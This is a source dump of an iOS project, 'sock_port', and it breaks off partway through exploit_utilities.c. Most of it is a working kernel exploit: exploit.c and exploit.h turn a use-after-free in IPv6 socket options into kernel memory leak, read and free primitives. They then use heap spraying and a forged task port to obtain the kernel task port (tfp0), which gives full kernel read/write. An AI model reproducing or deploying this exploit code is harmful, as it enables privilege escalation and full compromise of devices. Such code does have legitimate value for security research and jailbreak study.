<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" systemVersion="17A277" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="BYZ-38-t0r">
    <dependencies>
        <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/>
        <capability name="Safe area layout guides" minToolsVersion="9.0"/>
        <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
    </dependencies>
    <scenes>
        <!--View Controller-->
        <scene sceneID="tne-QT-ifu">
            <objects>
                <viewController id="BYZ-38-t0r" customClass="ViewController" customModuleProvider="" sceneMemberID="viewController">
                    <view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
                        <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
                        <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
                        <color key="backgroundColor" red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                        <viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
                    </view>
                </viewController>
                <placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
            </objects>
        </scene>
    </scenes>
</document>


================================================
FILE: sock_port/Info.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CFBundleDevelopmentRegion</key>
	<string>$(DEVELOPMENT_LANGUAGE)</string>
	<key>CFBundleExecutable</key>
	<string>$(EXECUTABLE_NAME)</string>
	<key>CFBundleIdentifier</key>
	<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
	<key>CFBundleInfoDictionaryVersion</key>
	<string>6.0</string>
	<key>CFBundleName</key>
	<string>$(PRODUCT_NAME)</string>
	<key>CFBundlePackageType</key>
	<string>APPL</string>
	<key>CFBundleShortVersionString</key>
	<string>1.0</string>
	<key>CFBundleVersion</key>
	<string>1</string>
	<key>LSRequiresIPhoneOS</key>
	<true/>
	<key>UILaunchStoryboardName</key>
	<string>LaunchScreen</string>
	<key>UIMainStoryboardFile</key>
	<string>Main</string>
	<key>UIRequiredDeviceCapabilities</key>
	<array>
		<string>armv7</string>
	</array>
	<key>UISupportedInterfaceOrientations</key>
	<array>
		<string>UIInterfaceOrientationPortrait</string>
		<string>UIInterfaceOrientationLandscapeLeft</string>
		<string>UIInterfaceOrientationLandscapeRight</string>
	</array>
	<key>UISupportedInterfaceOrientations~ipad</key>
	<array>
		<string>UIInterfaceOrientationPortrait</string>
		<string>UIInterfaceOrientationPortraitUpsideDown</string>
		<string>UIInterfaceOrientationLandscapeLeft</string>
		<string>UIInterfaceOrientationLandscapeRight</string>
	</array>
</dict>
</plist>


================================================
FILE: sock_port/ViewController.h
================================================
//
//  ViewController.h
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#import <UIKit/UIKit.h>

@interface ViewController : UIViewController


@end



================================================
FILE: sock_port/ViewController.m
================================================
//
//  ViewController.m
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#import "ViewController.h"

@interface ViewController ()

@end

@implementation ViewController

- (void)viewDidLoad {
    [super viewDidLoad];
    // Do any additional setup after loading the view, typically from a nib.
}


- (void)didReceiveMemoryWarning {
    [super didReceiveMemoryWarning];
    // Dispose of any resources that can be recreated.
}


@end


================================================
FILE: sock_port/exploit.c
================================================
//
//  exploit.c
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#include "exploit.h"

// utilities to manipulate sockets
int set_minmtu(int sock, int *minmtu) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, sizeof(*minmtu));
}

int get_minmtu(int sock, int *minmtu) {
    socklen_t size = sizeof(*minmtu);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}

int get_prefertempaddr(int sock, int *prefertempaddr) {
    socklen_t size = sizeof(*prefertempaddr);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, &size);
}

int set_prefertempaddr(int sock, int *prefertempaddr) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, sizeof(*prefertempaddr));
}

int get_pktinfo(int sock, struct in6_pktinfo *pktinfo) {
    socklen_t size = sizeof(*pktinfo);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, &size);
}

int set_pktinfo(int sock, struct in6_pktinfo *pktinfo) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo));
}

// free the pktopts struct of the socket to get ready for UAF
int free_socket_options(int sock) {
    return disconnectx(sock, 0, 0);
}

// return a socket we can UAF on
int get_socket() {
    int sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        printf("[-] Can't get socket, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    
    // allow setsockopt() after disconnect()
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    int ret = setsockopt(sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    if (ret) {
        printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    
    return sock;
}

// return a socket ready for UAF
int get_socket_with_dangling_options() {
    int socket = get_socket();
    
    int minmtu = -1;
    set_minmtu(socket, &minmtu);
    
    free_socket_options(socket);
    
    return socket;
}

mach_port_t new_port() {
    mach_port_t port;
    kern_return_t rv = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (rv) {
        printf("[-] Failed to allocate port (%s)\n", mach_error_string(rv));
        return MACH_PORT_NULL;
    }
    rv = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (rv) {
        printf("[-] Failed to insert right (%s)\n", mach_error_string(rv));
        return MACH_PORT_NULL;
    }
    return port;
}

// first primitive: leak the kernel address of a mach port
uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
    // here we use the uaf as an info leak
    int sock = get_socket_with_dangling_options();
    
    for (int i = 0; i < 0x10000; i++) {
        // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers
        mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
        
        int mtu;
        int pref;
        get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
        get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
        
        // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176)
        
        /*  from a hex dump:
         
         (lldb) p/x HexDump(options, 192)
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
         ...
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
                    |-----------||-----------|
                     minmtu here prefertempaddr here
         */
        
        // the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up
        
        uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
        
        if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
            mach_port_destroy(mach_task_self(), p);
            close(sock);
            return ptr;
        }
        mach_port_destroy(mach_task_self(), p);
    }
    
    // close that socket.
    close(sock);
    return 0;
}

// function to cache our task port kernel address
uint64_t task_self_addr() {
    static uint64_t cached_task_self_addr = 0;
    if (cached_task_self_addr) return cached_task_self_addr;
    else return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
}

// second primitive: read 20 bytes from addr
void* read_20_via_uaf(uint64_t addr) {
    // create a bunch of sockets
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = -1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    
    free(fake_opts);
    
    if (!found) {
        printf("[-] Failed to read kernel\n");
        return 0;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    
    void *buf = malloc(sizeof(struct in6_pktinfo));
    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
    close(sockets[found_at]);
    
    return buf;
}

uint64_t rk64_via_uaf(uint64_t addr) {
    void *buf = read_20_via_uaf(addr);
    if (buf) {
        uint64_t r = *(uint64_t*)buf;
        free(buf);
        return r;
    }
    return 0;
}

// third primitive: free a kalloced object at an arbitrary address
int free_via_uaf(uint64_t addr) {
    // create a bunch of sockets
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = -1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    
    free(fake_opts);
    
    if (!found) {
        printf("[-] failed to setup freeing primitive\n");
        return -1;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));
    memset(buf, 0, sizeof(struct in6_pktinfo));
    
    int ret = set_pktinfo(sockets[found_at], buf);
    free(buf);
    return ret;
}


static inline uint32_t mach_port_waitq_flags() {
    union waitq_flags waitq_flags = {};
    waitq_flags.waitq_type              = WQT_QUEUE;
    waitq_flags.waitq_fifo              = 1;
    waitq_flags.waitq_prepost           = 0;
    waitq_flags.waitq_irq               = 0;
    waitq_flags.waitq_isvalid           = 1;
    waitq_flags.waitq_turnstile_or_port = 1;
    return waitq_flags.flags;
}

uint64_t self_port_addr;
mach_port_t get_tfp0() {
    printf("[!] exploit started!\n");
    
    offsets_init();
    
    kern_return_t ret = init_IOSurface();
    if (ret) {
        printf("[-] can't init IOSurface!\n");
        return MACH_PORT_NULL;
    }
    printf("[+] initialized IOSurface\n");

    bool SMAP = false;

    if (pagesize == 0x4000) {
        struct utsname a;
        uname(&a);
        if (!strstr(a.machine, "iPad5,") && !strstr(a.machine, "iPad6,") && !strstr(a.machine, "iPhone8,")) {
            printf("[i] detected SMAP device\n");
            SMAP = true;
        }
    }
    
    self_port_addr = task_self_addr(); // port leak primitive
    if (!self_port_addr) {
        printf("[-] failed to leak our task port address!\n");
        goto err;
    }
    
    printf("[i] our task port: 0x%llx\n", self_port_addr);
    
    // kernel read primitive
    uint64_t ipc_space_kernel = rk64_via_uaf(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
    if (!ipc_space_kernel) {
        printf("[-] kernel read primitive failed!\n");
        goto err;
    }
    printf("[i] ipc_space_kernel: 0x%llx\n", ipc_space_kernel);
    
    // here we'll create a pair of pipes (4 file descriptors in total)
    // first pipe, used to overwrite a port pointer in a mach message
    int fds[2];
    ret = pipe(fds);
    if (ret) {
        printf("[-] failed to create pipe\n");
        goto err;
    }
    
    // make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512
    uint8_t pipebuf[0x10000];
    memset(pipebuf, 0, 0x10000);
    
    write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel
    read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position
    write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked)
    
    // second pipe, used for our fake port
    int port_fds[2] = {-1, -1};
    if (SMAP) {
        ret = pipe(port_fds);
        if (ret) {
            printf("[-] failed to create pipe\n");
            goto err;
        }
    }
    
    // create fake port and fake task, put fake_task right after fakeport
    kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
    ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));
    bzero((void *)fakeport, sizeof(kport_t) + 0x600);
    
    fake_task->ref_count = 0xff;
    
    fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
    fakeport->ip_references = 0xd00d;
    fakeport->ip_lock.type = 0x11;
    fakeport->ip_messages.port.receiver_name = 1;
    fakeport->ip_messages.port.msgcount = 0;
    fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
    fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
    fakeport->ip_srights = 99;
    fakeport->ip_kobject = 0;
    fakeport->ip_receiver = ipc_space_kernel;

    if (SMAP) {
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
        read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
    }
    
    // find the pipe buffers for both pipes
    
#define rk64_check(addr) ({ uint64_t r; r = rk64_via_uaf(addr); if (!r) { usleep(100); r = rk64_via_uaf(addr); if (!r) { printf("[-] failed to read from '"#addr"'\n"); goto err;}}; r;})
    
    uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
    uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
    uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));
    
    uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
    uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
    uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
    uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
    printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);

    uint64_t port_fg_data = 0;
    uint64_t port_pipe_buffer = 0;
    
    if (SMAP) {
        fproc = rk64_check(fd_ofiles + port_fds[0] * 8);
        f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
        port_fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
        port_pipe_buffer = rk64_check(port_fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
        printf("[*] second pipe buffer: 0x%llx\n", port_pipe_buffer);
    }
    
    if (SMAP) {
        // align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t)
        fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);
    }
    else {
        fakeport->ip_kobject = (uint64_t)fake_task;
    }
    
    if (SMAP) {
        // update our pipe buffer
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
    }
    
    // create a new port, this one we'll use for tfp0
    mach_port_t target = new_port();
    if (!target) {
        printf("[-] failed to allocate port\n");
        goto err;
    }
    
    // get its kernel address
    uint64_t target_addr = find_port_via_uaf(target, MACH_MSG_TYPE_COPY_SEND);
    if (!target_addr) {
        printf("[-] failed to leak target port address\n");
        goto err;
    }
    
    // free the first pipe buffer
    ret = free_via_uaf(pipe_buffer);
    if (ret) {
        printf("[-] failed to free pipe buffer\n");
        goto err;
    }

    // reallocate it while filling it with a mach message containing send rights to our target port
    mach_port_t p = MACH_PORT_NULL;
    for (int i = 0; i < 10000; i++) {
        
        // pipe is 0x10000 bytes so make 0x10000/8 pointers and save result as we'll use later
        p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
        
        // check if spraying worked by reading first 8 bytes
        uint64_t addr;
        read(fds[0], &addr, 8);
        if (addr == target_addr) { // if we see the address of our port, it worked
            break;
        }
        write(fds[1], &addr, 8); // reset buffer position
        
        mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
        p = MACH_PORT_NULL;
    }

    if (!p) {
        printf("[-] spraying failed!");
        goto err;
    }
    
    if (SMAP) {
        // spraying worked, now the pipe buffer is filled with pointers to our target port
        // overwrite the first pointer with our second pipe buffer, which contains the fake port
        write(fds[1], &port_pipe_buffer, 8);
    }
    else {
        write(fds[1], &fakeport, 8);
    }
    
    // receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port!
    struct ool_msg *msg = malloc(0x1000);
    ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        free(msg);
        printf("[-] mach_msg() failed: %d (%s)\n", ret, mach_error_string(ret));
        goto err;
    }
    
    mach_port_t *received_ports = msg->ool_ports.address;
    mach_port_t our_port = received_ports[0]; // fake port!
    free(msg);
    
    uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
    
#define kr32(addr, value)\
    if (SMAP) {\
        read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\
    }\
    *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\
    if (SMAP) {\
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\
    }\
    value = 0x0;\
    ret = pid_for_task(our_port, (int *)&value);
    
    uint32_t read64_tmp;
#define kr64(addr, value)\
    kr32(addr + 0x4, read64_tmp);\
    kr32(addr, value);\
    value = value | ((uint64_t)read64_tmp << 32)
    
    uint64_t struct_task;
    kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
    if (!struct_task) {
        printf("[-] kernel read failed!\n");
        goto err;
    }
    
    printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
    printf("[+] Let's steal that kernel task port!\n");
    
    // tfp0!
    
    uint64_t kernel_vm_map = 0;
    
    while (struct_task != 0) {
        uint64_t bsd_info;
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
        if (!bsd_info) {
            printf("[-] kernel read failed!\n");
            goto err;
        }
        
        uint32_t pid;
        kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
        
        if (pid == 0) {
            uint64_t vm_map;
            kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
            if (!vm_map) {
                printf("[-] kernel read failed!\n");
                goto err;
            }
            
            kernel_vm_map = vm_map;
            break;
        }
        
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
    }
    
    if (!kernel_vm_map) {
        printf("[-] failed to find kernel's vm_map\n");
        goto err;
    }
    
    printf("[i] kernel_vm_map: 0x%llx\n", kernel_vm_map);
    
    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
    
    fake_task->lock.data = 0x0;
    fake_task->lock.type = 0x22;
    fake_task->ref_count = 100;
    fake_task->active = 1;
    fake_task->map = kernel_vm_map;
    *(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;

    if (SMAP) {
        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
    }
    
    init_kernel_memory(our_port);
    
    uint64_t addr = kalloc(8);
    if (!addr) {
        printf("[-] seems like tfp0 port didn't work?\n");
        goto err;
    }
    
    printf("[*] allocated: 0x%llx\n", addr);
    wk64(addr, 0x4141414141414141);
    uint64_t readb = rk64(addr);
    kfree(addr, 8);
    printf("[*] read back: 0x%llx\n", readb);
    
    if (readb != 0x4141414141414141) {
        printf("[-] read back value didn't match\n");
        goto err;
    }
    
    printf("[*] creating safer port\n");
    
    mach_port_t new_tfp0 = new_port();
    if (!new_tfp0) {
        printf("[-] failed to allocate new tfp0 port\n");
        goto err;
    }
    
    uint64_t new_addr = find_port(new_tfp0, self_port_addr);
    if (!new_addr) {
        printf("[-] failed to find new tfp0 port address\n");
        goto err;
    }
    
    uint64_t faketask = kalloc(0x600);
    if (!faketask) {
        printf("[-] failed to kalloc faketask\n");
        goto err;
    }
    
    kwrite(faketask, fake_task, 0x600);
    fakeport->ip_kobject = faketask;
    
    kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));
    
    printf("[*] testing new tfp0 port\n");
    
    init_kernel_memory(new_tfp0);
    
    addr = kalloc(8);
    if (!addr) {
        printf("[-] seems like the new tfp0 port didn't work?\n");
        goto err;
    }
    
    printf("[+] tfp0: 0x%x\n", new_tfp0);
    printf("[*] allocated: 0x%llx\n", addr);
    wk64(addr, 0x4141414141414141);
    readb = rk64(addr);
    kfree(addr, 8);
    printf("[*] read back: 0x%llx\n", readb);
    
    if (readb != 0x4141414141414141) {
        printf("[-] read back value didn't match\n");
        goto err;
    }
    
    // clean up port
    uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
    uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
    
    uint32_t port_index = our_port >> 8;
    const int sizeof_ipc_entry_t = 0x18;
    
    wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
    wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);

    wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()
    
    if (fds[0] > 0)  close(fds[0]);
    if (fds[1] > 0)  close(fds[1]);
    if (port_fds[0] > 0)  close(port_fds[0]);
    if (port_fds[1] > 0)  close(port_fds[1]);
    
    free((void *)fakeport);
    deinit_IOSurface();
    return new_tfp0;
    
err:
    if (port_fds[0] > 0)  close(port_fds[0]);
    if (port_fds[1] > 0)  close(port_fds[1]);
    
    deinit_IOSurface();
    return MACH_PORT_NULL;
}


================================================
FILE: sock_port/exploit.h
================================================
//
//  exploit.h
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#ifndef exploit_h
#define exploit_h


#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <netinet/in.h>
#include <mach/mach.h>
#include <sys/mman.h>

#include "exploit_utilities.h"
#include "kernel_memory.h"

#define IPV6_USE_MIN_MTU 42
#define IPV6_PKTINFO 46
#define IPV6_PREFER_TEMPADDR 63

struct route_in6 {
    struct rtentry *ro_rt;
    struct llentry *ro_lle;
    struct ifaddr *ro_srcia;
    uint32_t ro_flags;
    struct sockaddr_in6 ro_dst;
};

struct ip6po_rhinfo {
    struct ip6_rthdr *ip6po_rhi_rthdr; /* Routing header */
    struct route_in6 ip6po_rhi_route; /* Route to the 1st hop */
};

struct ip6po_nhinfo {
    struct sockaddr *ip6po_nhi_nexthop;
    struct route_in6 ip6po_nhi_route; /* Route to the nexthop */
};

struct ip6_pktopts {
    struct mbuf *ip6po_m;
    int ip6po_hlim;
    struct in6_pktinfo *ip6po_pktinfo;
    struct ip6po_nhinfo ip6po_nhinfo;
    struct ip6_hbh *ip6po_hbh;
    struct ip6_dest *ip6po_dest1;
    struct ip6po_rhinfo ip6po_rhinfo;
    struct ip6_dest *ip6po_dest2;
    int ip6po_tclass;
    int ip6po_minmtu;
    int ip6po_prefer_tempaddr;
    int ip6po_flags;
};

#define IO_BITS_ACTIVE      0x80000000
#define IOT_PORT            0
#define IKOT_TASK           2
#define IKOT_CLOCK          25
#define IKOT_IOKIT_CONNECT  29

typedef volatile struct {
    uint32_t ip_bits;
    uint32_t ip_references;
    struct {
        uint64_t data;
        uint64_t type;
    } ip_lock; // spinlock
    struct {
        struct {
            struct {
                uint32_t flags;
                uint32_t waitq_interlock;
                uint64_t waitq_set_id;
                uint64_t waitq_prepost_id;
                struct {
                    uint64_t next;
                    uint64_t prev;
                } waitq_queue;
            } waitq;
            uint64_t messages;
            uint32_t seqno;
            uint32_t receiver_name;
            uint16_t msgcount;
            uint16_t qlimit;
            uint32_t pad;
        } port;
        uint64_t klist;
    } ip_messages;
    uint64_t ip_receiver;
    uint64_t ip_kobject;
    uint64_t ip_nsrequest;
    uint64_t ip_pdrequest;
    uint64_t ip_requests;
    uint64_t ip_premsg;
    uint64_t ip_context;
    uint32_t ip_flags;
    uint32_t ip_mscount;
    uint32_t ip_srights;
    uint32_t ip_sorights;
} kport_t;

typedef struct {
    struct {
        uint64_t data;
        uint32_t reserved : 24,
        type     :  8;
        uint32_t pad;
    } lock; // mutex lock
    uint32_t ref_count;
    uint32_t active;
    uint32_t halting;
    uint32_t pad;
    uint64_t map;
} ktask_t;

#define WQT_QUEUE               0x2
#define _EVENT_MASK_BITS        ((sizeof(uint32_t) * 8) - 7)

union waitq_flags {
    struct {
        uint32_t /* flags */
    waitq_type:2,    /* only public field */
    waitq_fifo:1,    /* fifo wakeup policy? */
    waitq_prepost:1, /* waitq supports prepost? */
    waitq_irq:1,     /* waitq requires interrupts disabled */
    waitq_isvalid:1, /* waitq structure is valid */
    waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
    waitq_eventmask:_EVENT_MASK_BITS;
    };
    uint32_t flags;
};


mach_port_t get_tfp0(void);

#endif /* exploit_h */


================================================
FILE: sock_port/exploit_utilities.c
================================================
//
//  exploit_utilities.c
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#include "exploit_utilities.h"

// from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return 0;
    }
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = 1;
    
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
        printf("[-] failed to send message: %s\n", mach_error_string(err));
        return MACH_PORT_NULL;
    }
    
    return q;
}

// Ian Beer
size_t message_size_for_kalloc_size(size_t kalloc_size) {
    return ((3 * kalloc_size) / 4) - 0x74;
}

// Ian Beer
mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    err = mach_port_set_attributes(mach_task_self(),
                                   q,
                                   MACH_PORT_LIMITS_INFO,
                                   (mach_port_info_t)&limits,
                                   MACH_PORT_LIMITS_INFO_COUNT);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to increase queue limit\n");
        return MACH_PORT_NULL;
    }
    
